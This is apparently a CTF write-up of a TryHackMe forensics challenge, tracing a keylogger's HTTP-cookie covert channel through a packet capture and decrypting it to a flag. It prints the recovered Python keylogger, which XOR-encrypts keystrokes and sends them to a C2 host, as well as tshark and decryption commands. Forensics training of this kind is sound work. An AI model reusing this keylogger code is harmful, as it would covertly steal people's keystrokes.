CTF Write-up Forensics Network Crypto

Packed Light โ€” TryHackMe Hacker Holidays Day 4

Abishek Kumar 2026 10 min read Easy ยท 60 pts

Introduction

Someone's running a silent keylogger that smuggles every keystroke out through HTTP cookies โ€” one character at a time, disguised as hotel session traffic. VERA pulled a short packet capture from the hotel guest network before the connection dropped. A covert channel is hiding in plain HTTP traffic on port 8080. The task: find it, reassemble it, decode it.

๐Ÿ’ก Hint from @0xMia

"not me watching my laptop ping some random :8080 address every single second like clockwork ๐Ÿšฉ the request headers are giving 'not a real app' ngl also what is with the crypto"

Three tells from that single post: regular beaconing, a fake User-Agent, and encoded/encrypted payload. Classic keylogger-over-HTTP C2 pattern.


Step 1: Open in Wireshark โ€” Filter to Port 8080 ๐Ÿ”

Loaded traffic.pcapng into Wireshark and immediately applied a display filter to cut the noise:

http && tcp.port == 8080

The results showed dozens of GET / requests, all sent in near-perfect 1-second intervals. Beaconing confirmed.

๐Ÿ” What to Look For

In Wireshark, right-click any packet โ†’ Follow โ†’ HTTP Stream to see the full exchange. The User-Agent stood out instantly: ByteLotusClient/1.1 โ€” not a real browser.


Step 2: Find the Malware Source โ€” The Smoking Gun ๐Ÿ•ต๏ธ

One early packet (server โ†’ client, src port 8080) contained a full Python script in its payload. The C2 server had served the keylogger to the infected host. Reading it exposed the entire mechanism:

keylogger.py (recovered from packet payload)

import requests, base64
from pynput import keyboard

C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
    p1 = "H0t3lSt@ff0Nly"
    p2 = "K3epS3cr3t!"
    return p1 + p2   # XOR key: H0t3lSt@ff0NlyK3epS3cr3t!

def xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
    raw      = character.encode('utf-8')
    enc      = xor(raw, getkey().encode('utf-8'))
    b64      = base64.b64encode(enc).decode('utf-8')
    headers  = {
        "User-Agent": "Mozilla/5.0 ... ByteLotusClient/1.1",
        "Cookie":     f"hotel_sess_state={b64}"   # โ† payload here
    }
    requests.get(C2_URL, headers=headers, timeout=0.5)

Every keystroke โ†’ XOR encrypt โ†’ Base64 encode โ†’ hide in a cookie. One character per HTTP request. That's why the packets were tiny and suspiciously regular.

Encoding Pipeline:

keystroke โ†’ XOR w/ key โ†’ base64 encode โ†’ Cookie: hotel_sess_state= โ†’ C2 :8080

Step 3: Extract the Cookies with tshark ๐Ÿช

Back in the terminal, used tshark to pull all cookie values from the beacon requests in order:

tshark -r traffic.pcapng \
  -Y "http.request && tcp.port == 8080" \
  -T fields -e http.cookie \
  | grep "hotel_sess_state" \
  | sed 's/hotel_sess_state=//'

Output (30 Base64 values, one per keystroke, in timestamp order):

HA== AA== BQ== Mw== Hg== ew== Og== fA==
Fw== eQ== Ow== Fw== Pw== fA== PA== Kw==
IA== eQ== Jg== Lw== Fw== eA== Pg== LQ==
Gg== Fw== MQ== eA== PQ== NQ==

โš ๏ธ Note on TLS Warning

tshark printed a warning about a missing apache.key file. This is unrelated to our traffic โ€” ignore it. The Base64 output below it is what matters.

Each token decodes to one encrypted byte. The == padding is a dead giveaway it's Base64 โ€” exactly what the Python source confirmed.


Step 4: Decrypt โ€” Reverse the XOR + Base64 ๐Ÿ”“

Wrote a short script to reverse the encoding: Base64 decode each value, then XOR each byte against the repeating key:

decrypt.py

import base64

key = b"H0t3lSt@ff0NlyK3epS3cr3t!"

cookies = [
    "HA==", "AA==", "BQ==", "Mw==", "Hg==", "ew==", "Og==", "fA==",
    "Fw==", "eQ==", "Ow==", "Fw==", "Pw==", "fA==", "PA==", "Kw==",
    "IA==", "eQ==", "Jg==", "Lw==", "Fw==", "eA==", "Pg==", "LQ==",
    "Gg==", "Fw==", "MQ==", "eA==", "PQ==", "NQ==",
]

flag = ""
for c in cookies:
    enc  = base64.b64decode(c)
    char = bytes(b ^ key[i % len(key)] for i, b in enumerate(enc))
    flag += char.decode('utf-8')

print(flag)

Run it:

python3 decrypt.py

Flag Recovered ๐Ÿšฉ

๐ŸŽ‰ FLAG CAPTURED!

THM{y0u_f0und_th3_l0gg3r}


What I Learned

Wireshark First

Following HTTP streams catches things tshark pipelines miss โ€” like inline malware source.

Cookies as Covert Channels

HTTP Cookie headers are rarely inspected by proxies. One char per request looks normal in isolation.

XOR Key Recovery

The key was hardcoded in the malware โ€” always read the code before brute-forcing the crypto.

Beacon Timing = Detection

1-second regular intervals are an immediate IOC. Real browser traffic is bursty, not metronomic.

๐Ÿ’ญ Final Thoughts

This challenge demonstrated how trivially a keylogger can exfiltrate data through innocuous-looking HTTP traffic. Monitoring beacon intervals, inspecting unusual User-Agents, and scrutinizing cookie values are essential network forensics skills.

AK
Abishek Kumar

Abishek Kumar

Cybersecurity Researcher | Web Developer